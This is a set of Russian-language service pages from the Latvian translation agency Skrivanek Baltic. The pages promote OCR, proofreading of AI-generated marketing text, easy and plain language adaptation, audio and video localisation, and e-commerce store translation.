https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/ - Translation Priorities: Optional OCR: ЧТО ЭТО ЗНАЧИТ НА ПРАКТИКЕ? OCR (Optical Character Recognition) – технология оптического распознавания символов, широко используемая в различных отраслях, включая перевод. Многие документы, с которыми ежедневно работают сотрудники бюро переводов, поступают в виде отсканированных файлов или файлов в форматах JPG, PDF, которые подходят для распространения информации, но не для редактирования, включая перевод. Без технологии OCR сотрудникам пришлось бы тратить много времени и сил на расшифровку текста, например, некачественно отсканированных документов. Программное обеспечение OCR, или встроенная функциональность, проще говоря, распознает символы в нередактируемых файлах и преобразует их в редактируемый и пригодный для работы текст. Программы OCR также могут распознавать текст на изображениях и преобразовывать в текстовый документ нередактируемые таблицы, оттиски печатей, формулы или даже весь PDF-файл. В результате PDF-файл преобразуется в открытый текстовый файл с возможностью редактирования, из которого, например, можно легко скопировать определенные части, дополнить документ или создать двуязычный документ. КАК ИСПОЛЬЗОВАТЬ OCR НА ПРАКТИКЕ? Существует два способа работы с технологией и использования функций OCR: установка программного обеспечения OCR на компьютер; использование устройства уже со встроенной функцией OCR. В Интернете также можно найти бесплатные конвертеры графических файлов, использующие технологию OCR, однако эксперты редко рекомендуют данное решение – подробнее об этом в конце статьи. В обоих упомянутых случаях сканирование файлов – простой процесс, который значительно облегчает работу в офисе. Выбор того или иного варианта во многом зависит от особенностей работы компании, вида документов и предпочтений заказчика. Программное обеспечение OCR для установки на компьютер выпускается как в бесплатных, так и в платных версиях – платные версии предлагают больше опций, когда речь идет о технических возможностях редактирования документа, а также дополнительные функции, связанные с графикой или текстами на иностранных языках. Чтобы использовать программное обеспечение OCR, отсканированный файл должен находиться в вашем компьютере. Открыв файл, следуйте указаниям, что обычно требует всего нескольких щелчков мыши. После обработки программа позволяет скачать готовый текстовый файл. Компании немного чаще покупают принтеры или сканеры со встроенной технологией OCR, чем специализированную программу. В этом случае процесс сканирования несколько ускоряется, поскольку документ нужно лишь отсканировать с выбранной опцией OCR. Отсканированный файл появится в вашем компьютере в текстовом формате. Как видите, процесс OCR для сканирования документов в обоих случаях очень похож и не представляет собой ничего сложного. Однако необходимо учитывать качество документа: технология OCR лучше всего справляется с высоким разрешением и четким сканированием содержимого. Вам нужна услуга оптического распознавания символов? Свяжитесь с нами! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Или запишитесь на онлайн-консультацию по OCR прямо сейчас! ПРЕИМУЩЕСТВА OCR Помимо простоты использования технология OCR имеет множество других преимуществ: экономия времени – пожалуй, самое большое преимущество технологии OCR. Больше не требуется переписывать документы, чтобы расшифровать отдельные фрагменты информации из PDF-файла, а это огромная экономия человеческих ресурсов и энергии; архивирование – OCR не только помогает создавать текстовые файлы, но и позволяет сохранять их в электронном архиве. Таким образом облегчается также поиск документов – остается лишь ввести в поисковую систему ключевое слово или фразу, чтобы получить перечень результатов; улучшенный оборот документов – зачастую документы преодолевают длинный путь, прежде чем попадают к нужному получателю. Система OCR помогает и в этом случае, автоматизируя процессы передачи данных. К тому же документы могут подвергаться нескольким процессам одновременно, что значительно ускоряет выполнение заказа. OCR – ОПТИЧЕСКОЕ РАСПОЗНАВАНИЕ СИМВОЛОВ ДЛЯ ДОКУМЕНТОВ НА ИНОСТРАННОМ ЯЗЫКЕ Технология OCR широко используется в бюро переводов и лингвистических компаниях, поскольку с ее помощью можно сканировать документы на иностранном языке разного качества, редактировать PDF-файлы или рукописные материалы. Данную технологию предлагает и Skrivanek. Почти каждая программа OCR позволяет выбрать любой язык, кроме латышского, и список предлагаемых языков действительно впечатляет. Данное программное обеспечение способно считывать также алфавиты помимо латинского, поэтому все символы будут распознаваться как иностранные. К тому же некоторые программы OCR помимо функции считывания текста на иностранном языке предлагают возможность автоматического перевода целых фрагментов текста – нужно лишь выбрать исходный язык документа и целевой язык, на который необходимо перевести текст. Однако, поскольку машинный перевод специфических текстов все еще требует слишком много исправлений и зачастую не может быть сразу использован, рекомендуется остановить выбор на профессиональной услуге и обратиться в бюро переводов. ПОЧЕМУ ВЫПОЛНЕНИЕ OCR СЛЕДУЕТ ДОВЕРИТЬ ПРОФЕССИОНАЛАМ? Если вы хотите, чтобы документы были подготовлены на высочайшем уровне качества, то, как и в случае с другими повседневными вещами, такими как починка водопровода или освоение музыкального инструмента, лучше обратиться к специалисту. Люди, которые ежедневно работают с технологией OCR в нашей компании, смогут эффективнее выполнить весь процесс конвертации документов и быстрее выявить возможные ошибки. Кроме того, наша помощь пригодится, если: документ имеет особый макет или расположение графических элементов; материал предназначен для высококачественной печати; требуются более современные возможности OCR (или другое программное обеспечение) для копирования оригинальной версии документа. НЕДОСТАТКИ ОНЛАЙН-ИНСТРУМЕНТОВ OCR Множество технологий OCR для сканирования документов находятся в свободном доступе в Интернете. Поначалу это может показаться весьма заманчивым, однако такое решение связано с рядом сложностей и даже рисков. Первая проблема – время, необходимое для поиска и оценки подходящего веб-сайта: не все сайты сразу же предлагают полностью пригодную для использования бесплатную услугу. Выбор инструментов тоже часто ограничен из-за специфики веб-сайта. Используя онлайн-инструменты OCR, вы не сможете работать с большими файлами, поэтому все виды сложной графики, объемные тексты или сложные бланки не будут считываться. Даже если найденный инструмент предложит считать документ согласно вашим запросам, может не оказаться возможности скачать готовый файл – тогда вам придется копировать информацию вручную. Однако самый серьезный риск, о котором следует помнить при использовании онлайн-инструментов OCR, – защита персональных и других важных данных. Мы лишь в редких случаях можем проверить безопасность того или иного веб-сайта и не можем быть уверены, что конфиденциальные данные не будут сохранены после завершения процесса OCR, поскольку все, что однажды опубликовано в Интернете, остается там навсегда. Сотрудничество с бюро переводов Skrivanek избавит от всех этих проблем и гарантирует, что документы будут правильно считаны, а затем переведены на нужный язык. Если хотите узнать больше, мы будем рады ответить на ваши вопросы! --- > Эксперты убеждены, что для достижения бизнес-результатов и эффективной коммуникации за рубежом не обойтись без поддержки профессионалов-лингвистов. - Published: 2024-11-06 - Modified: 2024-11-06 - URL: https://skrivanek.lv/maksliga-intelekta-genereta-marketinga-teksta-parbaude-un-labosana/ - Translation Priorities: Optional Сегодня, используя технологию искусственного интеллекта, можно за считанные минуты или даже секунды создать практически все – от маркетинговых текстов и художественных изображений до музыкальных композиций. Технология легкодоступна и перспективна. А что же на самом деле? Языковые эксперты Skrivanek убеждены, что для достижения результатов в бизнесе и эффективной маркетинговой коммуникации за рубежом без поддержки профессионалов в области иностранных языков не обойтись. Важно не только уметь правильно задать вопрос в ChatGPT и быстро получить необходимый текст, но и убедиться, что он полностью соответствует тону сообщения бренда вашей компании – текст убедительный, действенный и не звучит так, будто создан компьютерной программой. Чтобы читатель захотел прочитать наш текст, поделиться им с друзьями и знакомыми и чтобы текст был более заметным в поисковой системе Google, он должен быть хорошо продуманным и качественным. В текстах, созданных с помощью инструментов ИИ, важно проверить не только грамматику (например, синтаксис и морфологию), но и содержание, а также фактологическую корректность и соответствие вашим потребностям. Не знаете, как убедиться в том, что созданный вами текст на латышском или иностранном языке является читаемым и не содержит большое количество ошибок? Skrivanek поможет обрести душевный покой и проверит, что текст, созданный с помощью инструмента искусственного интеллекта, действительно логичный, не содержит фактологических (выдуманных фактов, цифр и т. д. ), грамматических и стилистических ошибок, убедительный и не слишком шаблонный, соответствует бренду и фирменному стилю вашей компании в том числе на языках, которыми вы не владеете. Даже если вам необходимо преобразовать контент существующего веб-сайта, чтобы он наилучшим образом соответствовал требованиям SEO (поисковой оптимизации), а инструмент ИИ определил и рекомендовал ряд изменений для повышения позиций вашего сайта в поисковых системах, но вы не уверены, что рекомендации обоснованны и логичны, языковые эксперты Skrivanek тоже готовы прийти на помощь. Гарантия качества и конфиденциальности, подтвержденная сертификатами ISO Наши руководители проектов говорят на латышском, русском, английском, немецком и польском языках 99 % клиентов получают ценовое предложение меньше чем за 15 минутСвыше 3000 специалистов-лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамВ нашем бюро ежегодно выполняется перевод более 16 миллионов слов Требуются проверка и исправление маркетингового текста, созданного искусственным интеллектом? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Или запишитесь на онлайн-консультацию по вопросам проверки и исправления маркетингового текста, созданного искусственным интеллектом, прямо сейчас! --- > Узнайте, каковы возможности легкого языка и простого языка. Мы преобразуем сложное содержание в ясное и простое для понимания. Свяжитесь со Skrivanek! - Published: 2024-11-06 - Modified: 2024-11-06 - URL: https://skrivanek.lv/pakalpojumi/viegla-valoda-vienkarsa-valoda/ - Translation Priorities: Optional ПОЧЕМУ СТОИТ СОТРУДНИЧАТЬ СО SKRIVANEK? Skrivanek Baltic – ведущий поставщик языковых услуг в Латвии, который обеспечивает высокое качество как при обучении иностранным языкам, так и при выполнении переводов. Цель состоит не только в предоставлении таких услуг, как легкий язык и простой язык, но и в обеспечении отличного опыта в ходе оказания услуг. Наши клиенты ценят нас именно за это. Сотрудничая с нами, вы можете рассчитывать на следующее: Поддержка широкого спектра форматов: pdf, jpg, idml, json или html – не имеет значения. С помощью наших специалистов по графической обработке текстов (DTP) обеспечиваем обработку текстов в файлах разных расширений. Так что вам не придется беспокоиться об обработке документов. Специалисты по легкому и простому языкам – наша команда состоит из квалифицированных лингвистов, специализирующихся в различных областях, поэтому специализированная лексика не является для нас проблемой. Даже самый сложный текст будет адаптирован к требованиям легкого и простого языков. Быстрое ценовое предложение в режиме онлайн – больше не нужно ждать несколько часов. Мы можем подготовить предложение в течение 15 минут. В любом случае вы можете записаться на онлайн-консультацию. Во время консультации мы представим более развернутое предложение и ответим на любые вопросы. Легкий язык и простой язык – оба предназначены для того, чтобы сделать информацию более доступной и понятной. Они очень похожи, но ориентированы на разные аудитории и имеют свои особенности. Ниже мы приводим краткое описание каждого из этих языков. Представляем также краткий перечень рекомендаций и принципов использования, чтобы дать представление о том, когда воспользоваться данной услугой может быть полезно именно вам! ЧТО ТАКОЕ ЛЕГКИЙ ЯЗЫК? Легкий язык (easy-to-read language) – это форма коммуникации, которая делает информацию понятной для всех. Современное информационное пространство становится все более сложным, ведь каждый говорит на своем языке. У чиновников своя манера выражения, у юристов, ИТ-специалистов и врачей – совсем другая. Порой бывает трудно понять друг друга. Но сложное можно превратить в простое для понимания. Поэтому мы предлагаем использовать легкий язык для того, чтобы дать людям возможность интегрироваться в общество на равных условиях. Необходим текст на легком или простом языке? Свяжитесь с нами! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Или запишитесь на онлайн-консультацию о легком или простом языке прямо сейчас! ЛЕГКИЙ ЯЗЫК Рекомендации и принципы использования легкого языка следующие: избегать длинных предложений, сложных конструкций предложений (одно предложение = одна мысль); избегать многословия; избегать иностранных слов, а также непонятных латышизмов, профессиональной терминологии (использовать термины, широко известные в обществе); избегать отрицательных предложений, глаголов в форме страдательного залога (не называется лицо, совершающее действие); избегать фразеологизмов, поскольку не все их знают и не все могут их понять; избегать процентов, больших чисел (рекомендуется использовать слова «некоторые», «многие» и т. д. ); информацию можно повторять, а сложные слова даже рекомендуется пояснять несколько раз; создавать тексты с использованием межстрочного интервала не менее 1,5, размера шрифта минимум 14, абзацы делать как можно короче. ПРОСТОЙ ЯЗЫК Рекомендации и принципы использования простого языка (plain language) следующие: чем короче, тем лучше. Однако это не значит, что весь текст должен состоять из очень коротких предложений. Рекомендуется чередовать короткие и длинные предложения. В коротких предложениях подчеркивать самое важное, а длинные предложения разбивать на два (средняя длина предложения должна составлять от 15 до 20 слов; в простом языке – чуть короче); использовать на письме действительный залог; использовать слова, подходящие для целевой аудитории; избегать многословия; использовать примеры, так как это помогает людям быстрее понять идею. К тому же примеры должны быть простыми, соответствующими мировоззрению, сфере деятельности или образованию адресата. Следует отметить, что легкий язык и простой язык – это не то же самое, что упрощение. Цель – сделать информацию доступной и понятной, а не сократить ее содержание или смысл. Легкий язык – это инструмент, позволяющий сделать сложную информацию понятной для всех. Простой язык – это эффективный инструмент, позволяющий сделать информацию доступной для широкой аудитории. КАК ЛЕГКИЙ ЯЗЫК МОЖЕТ ПОМОЧЬ ЧИТАТЕЛЮ? Легкий язык помогает читателю понять сложную информацию. Исследования показывают, что 15–25 % жителей любой страны не способны воспринимать сложную информацию. Поэтому легкий язык так важен. Он гарантирует, что информация будет понятна широкой аудитории. Он помогает нам понять, как мы учимся читать и как разные доли мозга работают вместе, чтобы обработать письменный язык. Это в свою очередь помогает нам разработать лучшие методы обучения данным навыкам, чтобы каждый мог научиться читать правильно. Предоставление информации на легком языке предназначено для людей с проблемами умственного развития. Например, с нейропсихиатрическими нарушениями (включая СДВГ, РАС, синдром Аспергера и синдром Туретта), дислексией, афазией, трудностями с обучением и грамотностью. Материалы на легком языке пригодятся и тем, кто использует их в процессе изучения языка, например иммигрантам и детям. Материалы пригодятся также слабовидящим, глухим и слабослышащим людям. Они общаются на языке жестов и могут иметь ограниченное представление о фразеологизмах, метафорах и других средствах художественной выразительности. СТАНДАРТ ПРОСТОГО ЯЗЫКА – ISO 24495-1:2023 Стандарт простого языка создан в 2023 году. Данный стандарт представляет собой документацию, в которой изложены принципы и требования к использованию простого языка, чтобы сделать информацию более доступной и понятной. Данный стандарт устанавливает, что каждый человек, независимо от уровня грамотности или знания языка, может получить доступ к важной информации. В стандарте подчеркивается, что понятный язык желательно использовать в документах всех типов, включая юридические, технические и информационные материалы. В стандарте указано, что информация является доступной, если читатель понимает написанное, прочитав текст только один раз, и быстро находит нужную информацию. Стандарт охватывает важные элементы простого языка, но не охватывает все виды коммуникации. Данный стандарт распространяется только на печатную или цифровую информацию, которая в основном представляет собой текст. Skrivanek поможет выполнить корректуру уже готовых текстов, а также текстов для перевода как на легком, так и на простом языке. При наличии сомнений в соответствии уже подготовленного текста легкому или простому языку на помощь тоже придут специалисты по языку компании Skrivanek. Специалисты внесут необходимые исправления, чтобы ваш текст соответствовал требованиям и позволил вам добиться наилучшего результата. Для обеспечения максимально успешного освоения иностранного языка мы соблюдаем принципы простого и легкого языка также на наших курсах иностранных языков и в детских лагерях! --- > Профессиональная локализация аудио- и видеофайлов. Более чем 25-летний опыт. Получите бесплатный расчет стоимости! - Published: 2024-11-04 - Modified: 2024-11-12 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/audio-un-video-failu-lokalizacija/ - Translation Priorities: Optional У нас есть все необходимое для реализации вашего проекта! Компетентные руководители проектов помогут советом и проконсультируют о возможных решениях. ЧТО ТАКОЕ ЛОКАЛИЗАЦИЯ АУДИО- И ВИДЕОМАТЕРИАЛОВ? Это адаптация аудио- или видеофайла к потребностям и местным особенностям конкретного региона или рынка. МЕТОДЫ ВЫПОЛНЕНИЯ ЗАКАЗА клиент подготавливает аудио- или видеофайл к отправке; разъясняет руководителю проекта условия и цель проекта; содержание данной услуги напрямую зависит от целей проекта, поэтому клиент должен быть открыт для регулярного общения с руководителем проекта. анализ аудио- или видеофайла (проводится оценка качества и содержания предоставленного файла); выявление и определение пожеланий клиента; расчет приблизительных издержек (издержки зависят от уровня сложности и срока выполнения). транскрибирование текста – преобразование информации, слышимой или видимой в аудио- или видеофайле, в текстовую с фиксацией соответствующей секунды, когда информация слышна или видна; перевод аудио/видео (после транскрибирования текст переводится на нужный язык профессиональным переводчиком); корректура и адаптация транскрибированного текста для целевой аудитории (после перевода работа передается корректору, который корректирует и адаптирует перевод для аудитории); подтверждение клиента (после выполнения вышеперечисленных работ текст передается клиенту; после получения комментариев клиента в текст при необходимости вносятся изменения); озвучивание текста (озвучиванием занимаются профессиональные актеры или специалисты с большим опытом работы в данной сфере); монтаж файла (после озвучивания текста локализованный файл монтируется); отправка файла клиенту. ЧТО О НАС ГОВОРЯТ НАШИ КЛИЕНТЫ? Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  ТРЕБУЕТСЯ КОМПЛЕКСНОЕ РЕШЕНИЕ ИЛИ КОНСУЛЬТАЦИЯ? Мы подготовим для вас предложение и предоставим консультацию. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить НА РЫНКЕ УЖЕ БОЛЕЕ 25 ЛЕТ! У нас большой опыт в сфере перевода текстов разной тематики. 0+ Различные языковые комбинации 0+ млн Переведенных слов в 2023 году 0+ Специалистов по языкам 0 Сертификатов ISO --- > Хотите продавать свои товары и услуги зарубежным клиентам? Мы обеспечим перевод и локализацию контента вашего интернет-магазина более чем на 110 языков. - Published: 2024-11-04 - Modified: 2024-11-12 - URL: https://skrivanek.lv/e-komercija-interneta-veikalu-tulkosana-un-lokalizesana/ - Translation Priorities: Optional ОПЕРЕДИТЕ СВОИХ КОНКУРЕНТОВ В СФЕРЕ Э-КОММЕРЦИИ! Перевод и локализация контента интернет-магазинов – процесс, который охватывает лингвистические, технические и культурные аспекты. Специалисты по языкам, предоставляющие такие услуги, должны не только перевести контент веб-сайта или платформы традиционным способом, но и обратить внимание на то, соответствует ли перевод интересам целевой аудитории и ее поисковым привычкам, а также действующему в конкретной стране законодательству. Важным элементом перевода контента интернет-магазина является также транскреация, или адаптация, текста – адаптация слоганов, рекламы и маркетингового контента на целевом языке для передачи схожего эмоционального смысла новой целевой аудитории. Адаптация контента магазина э-коммерции включает также SEO-перевод, который предполагает подбор, исследование и включение соответствующих ключевых слов в описания ваших товаров и другие тексты веб-сайта, а также в заголовки подстраниц, метаописания, описания изображений и инфографики и в другие элементы, что поможет вашему веб-сайту занять более высокие позиции среди пользователей поисковых систем в соответствующем регионе и в то же время привлечь больше внимания аудитории. КУЛЬТУРНЫЕ РАЗЛИЧИЯ ПРИ ПЕРЕВОДЕ КОНТЕНТА ИНТЕРНЕТ-МАГАЗИНОВ Перевод и локализация контента интернет-магазинов или платформ э-коммерции должны начинаться с определения целевого потребителя и его привычек, чтобы специалисты по языкам могли успешно адаптировать контент интернет-магазина к интересам посетителей. Некоторые аспекты продукта будут важны для французских торговых представителей, совсем другие – для частных лиц в Великобритании. Необходимо также убедиться в правильном подборе уже имеющегося контента, поскольку многие тексты, предназначенные для клиентов в вашей стране, такие как новостные статьи, опубликованные в разделе новостей, адреса, контактные данные или юридические справки, будут совершенно излишними в иноязычной версии вашего веб-сайта. То же относится и к товарам и описаниям услуг и остальным текстам. Например, элементы юмора в тексте могут быть уместны на веб-сайте, ориентированном на клиентов из Великобритании, в то время как клиенты из Германии ожидают конкретной информации. Не менее важно адаптировать для целевой аудитории внешний вид вашего веб-сайта – от его дизайна до мельчайших символов, чтобы клиенты в соответствующей стране не поняли их неверно. Вам необходим перевод контента интернет-магазина? Свяжитесь с нами – мы поможем Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Или запишитесь на онлайн-консультацию по вопросам перевода и локализации контента интернет-магазинов прямо сейчас! КАК ПЕРЕВЕСТИ И ЛОКАЛИЗОВАТЬ КОНТЕНТ ИНТЕРНЕТ-МАГАЗИНА, ПОДДЕРЖИВАЕМОГО PRESTASHOP? PrestaShop – решение для э-коммерции с открытым исходным кодом, которое каждый может скачать бесплатно. С помощью PrestaShop вы сможете создать всеобъемлющий интернет-магазин и охватить неограниченное количество клиентов по всему миру. Это значит, что вы сможете рассказывать о своих товарах и услугах на всех языках, на которых говорят ваши клиенты. Эксперты даже рекомендуют создавать и поддерживать интернет-магазин PrestaShop на нескольких языках. Главное, чтобы контент легко читался, был понятен и соответствовал вашим целевым рынкам и аудитории. Благодаря последнему обновлению локализации контента в PrestaShop 1. 5, локализация и перевод вашего контента, созданного на PrestaShop, никогда еще не были такими простыми. КАК ПЕРЕВЕСТИ И ЛОКАЛИЗОВАТЬ КОНТЕНТ ИНТЕРНЕТ-МАГАЗИНА, ПОДДЕРЖИВАЕМОГО MAGENTO? Независимо от того, используете ли вы уже какую-либо платформу э-коммерции для поддержания своего интернет-магазина или только планируете открыть бизнес в сфере э-коммерции и вскоре стать пользователем Magento, существует вероятность, что рано или поздно вам потребуется перевести и локализовать контент своего интернет-магазина. Будь то небольшая или крупная компания, мы обязательно поддержим дальнейшее развитие вашего предприятия и поможем привлечь новых зарубежных клиентов, потому что мы говорим на всех языках ваших клиентов. КАК ПЕРЕВЕСТИ И ЛОКАЛИЗОВАТЬ КОНТЕНТ ИНТЕРНЕТ-МАГАЗИНА, ПОДДЕРЖИВАЕМОГО IDOSELL? Если вы хотите расширить свой бизнес на зарубежных рынках, создание многоязычного интернет-магазина должно стать вашим приоритетом. КАК ПЕРЕВЕСТИ И ЛОКАЛИЗОВАТЬ ИНФОРМАЦИЮ ОБ ИНТЕРНЕТ-МАГАЗИНЕ, ПОДДЕРЖИВАЕМОМ SHOPIFY? Если у вас есть интернет-магазин Shopify, возможно, вы захотите выйти на международный рынок. В конце концов, прибыль вы получаете от продажи продукта. Может, ваш бизнес начался с отправки товаров в новый пункт назначения, и теперь вы считаете, что следует перейти на этот самый новый рынок. ЛОКАЛИЗАЦИЯ ГРАФИЧЕСКИХ ЭЛЕМЕНТОВ Адаптация графических элементов к потребностям целевого рынка – еще одна проблема, связанная с переводом и локализацией контента интернет-магазинов. Ведь текст, который появляется на баннерах, кнопках и изображениях в интернет-магазинах, тоже нужно перевести и локализовать. Чтобы сделать это на профессиональном уровне, переводчики и графические дизайнеры должны работать в тесном сотрудничестве. ПЕРЕВОД КОНТЕНТА ИНТЕРНЕТ-МАГАЗИНОВ – ЛИНГВИСТИЧЕСКИЙ АСПЕКТ При переводе контента интернет-магазинов мы обращаем внимание на правильную передачу измерений, веса, размеров или денежных единиц на целевом рынке или в соответствующей стране. Мы знаем, что неправильное использование единиц измерения, неправильно расставленные запятые или точки могут ввести клиентов в заблуждение. Вступая в контакт с потенциальным клиентом, важно использовать фразы, которые подходят для конкретной группы покупателей. Одни и те же фразы могут восприниматься позитивно в одной культуре, но считаться оскорбительными в другой. Все переводы корректируются носителем целевого языка, чтобы обеспечить благозвучие и беглость текста и привлечь внимание потенциальных клиентов. Корректор выполняет тщательную проверку правильности содержания и стилистики перевода. ТЕХНИЧЕСКАЯ СТОРОНА ПЕРЕВОДА И ЛОКАЛИЗАЦИИ КОНТЕНТА ИНТЕРНЕТ-МАГАЗИНОВ Перевод и локализация контента интернет-магазинов связаны также с работой ИТ-специалистов, главным образом с извлечением переводимого контента из исходного кода, поскольку каждая страница состоит из невидимых пользователю элементов, необходимых для ее правильного функционирования. Некоторые платформы, например Prestashop, уже предоставляют базовую функциональность для облегчения перевода описаний продуктов. Сами описания продуктов – наименования, спецификации продуктов и маркетинговый контент – всегда адаптируются и переводятся командой профессиональных переводчиков. МНОГОЯЗЫЧНЫЕ И МУЛЬТИВАЛЮТНЫЕ ВЕБ-САЙТЫ, ПОДДЕРЖИВАЕМЫЕ WORDPRESS WooCommerce Multilingual позволяет поддерживать работу интернет-магазинов на разных языках и с использованием разных валют. WooCommerce – самая популярная и надежная многоязычная платформа э-коммерции. Позволяет переводить описания продуктов и вариантов продуктов. Позволяет переводить все тексты, которые покупатели видят во время совершения покупок. Позволяет устанавливать цены и собирать оплату в нескольких валютах. Облегчает определение SEO-параметров на разных языках. Совместима со всеми популярными расширениями и темами WooCommerce. Поставляется с пакетами WPML – Multilingual CMS и Multilingual Agency. ЮРИДИЧЕСКИЕ ПРОБЛЕМЫ Каждый интернет-магазин должен соблюдать законы любой страны; неправильное или недостаточное соблюдение формальностей может привести к блокировке продаж в соответствующей стране и серьезным юридическим последствиям. Это часто означает необходимость использовать и выделять специфические ссылки, использовать специальную терминологию, которая соответствует требованиям учреждений по надзору за соблюдением прав потребителей, а также стратегии, принятой конкретным брендом. В таких ситуациях переводчик совместно с клиентом может подготовить словарь ключевых терминов. ГАРАНТИЯ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ В процессе перевода и локализации контента интернет-магазинов нашей службе ИТ-поддержки часто требуется доступ к панели администратора вашего веб-сайта, что может вызвать дополнительные опасения по поводу конфиденциальности информации. Однако если вы сотрудничаете с бюро переводов Skrivanek Baltic, то можете быть уверены, что ваши данные будут в полной безопасности и не попадут к третьим лицам. Наши обязательства по обеспечению информационной безопасности и конфиденциальности отражены в сертификате ISO 27001. ПОЧЕМУ СТОИТ ЗАКАЗАТЬ ПЕРЕВОД КОНТЕНТА ИНТЕРНЕТ-МАГАЗИНА? Розничные продажи в Интернете продолжают расти из года в год. Все больше людей ищут и покупают интересующие их товары и услуги в интернет-магазинах, а не в очном порядке. Это касается всех видов товаров – от одежды, электроприборов, книг или фильмов до продуктов питания и лекарств. Однако со стремительным развитием э-коммерции все большее значение приобретают удовлетворенность и лояльность клиентов. Как известно, при наличии большого выбора интернет-магазинов покупатели гораздо чаще выбирают хорошо функционирующие 